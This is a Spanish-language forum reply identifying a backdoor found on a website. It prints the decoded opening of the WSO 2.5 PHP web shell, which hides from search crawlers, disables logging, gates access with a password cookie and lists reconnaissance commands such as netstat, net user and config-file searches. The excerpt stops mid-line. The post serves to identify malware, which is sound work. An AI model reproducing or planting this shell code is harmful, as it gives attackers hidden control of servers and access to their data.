Ver Mensaje Individual
  #3 (permalink)  
Antiguo 15/03/2012, 05:34
Avatar de hasdpk
hasdpk
 
Fecha de Ingreso: agosto-2011
Ubicación: $spain->city( 'Arucas' );
Mensajes: 1.800
Antigüedad: 12 años, 8 meses
Puntos: 297
Respuesta: Informacion creo bug y backdoor..

Seguramente sea de algún trojano o algo parecido, esa línea contiene este código:

Código PHP:
Ver original
  1. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  2.  
  3.     $userAgents = array("Google",
  4.                         "Slurp",
  5.                         "MSNBot",
  6.                         "ia_archiver",
  7.                         "Yandex",
  8.                         "Rambler");
  9.                        
  10.     if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  11.    
  12.         header('HTTP/1.0 404 Not Found');
  13.         exit;
  14.  
  15.     }
  16.  
  17. }
  18.  
  19. @ini_set('error_log',NULL);
  20. @ini_set('log_errors',0);
  21. @ini_set('max_execution_time',0);
  22. @define('WSO_VERSION', '2.5');
  23.  
  24.  
  25.     function WSOstripslashes($array) {
  26.  
  27.         return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
  28.  
  29.     }
  30.  
  31.     $_POST = WSOstripslashes($_POST);
  32.     $_COOKIE = WSOstripslashes($_COOKIE);
  33.  
  34. }
  35.  
  36. function wsoLogin() {
  37.  
  38.     die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
  39.    
  40. }
  41.  
  42. function WSOsetcookie($k, $v) {
  43.  
  44.     $_COOKIE[$k] = $v;
  45.     setcookie($k, $v);
  46.  
  47. }
  48.  
  49. if(!empty($auth_pass)) {
  50.  
  51.     if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
  52.         WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
  53.        
  54.     if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
  55.         wsoLogin();
  56.  
  57. }
  58.  
  59. if(strtolower(substr(PHP_OS,0,3)) == "win")
  60.     $os = 'win';
  61. else
  62.     $os = 'nix';   
  63.     $safe_mode = @ini_get('safe_mode');
  64.  
  65. if(!$safe_mode)
  66.     error_reporting(0);
  67.     $disable_functions = @ini_get('disable_functions');
  68.     $home_cwd = @getcwd();
  69.    
  70. if(isset($_POST['c']))
  71.     @chdir($_POST['c']);
  72.     $cwd = @getcwd();
  73.    
  74. if($os == 'win') {
  75.     $home_cwd = str_replace("\\", "/", $home_cwd);
  76.     $cwd = str_replace("\\", "/", $cwd);
  77.     }
  78.    
  79. if($cwd[strlen($cwd)-1] != '/')
  80.     $cwd .= '/';
  81.    
  82. if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
  83.     $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
  84.    
  85. if($os == 'win')
  86.     $aliases = array( "List Directory" => "dir", "Find index.php in current dir" => "dir /s /w /b index.php", "Find *config*.php in current dir" => "dir /s /w /b *config*.php", "Show active connections" => "netstat -an", "Show running services" => "net start", "User accounts" => "net user", "Show computers" => "net view", "ARP Table" => "arp -a", "IP Configuration" => "ipconfig /all" );
  87. else
  88.     $aliases = array( "List dir" => "ls -lha", "list file attributes on a Linux second extended file system" => "lsattr -v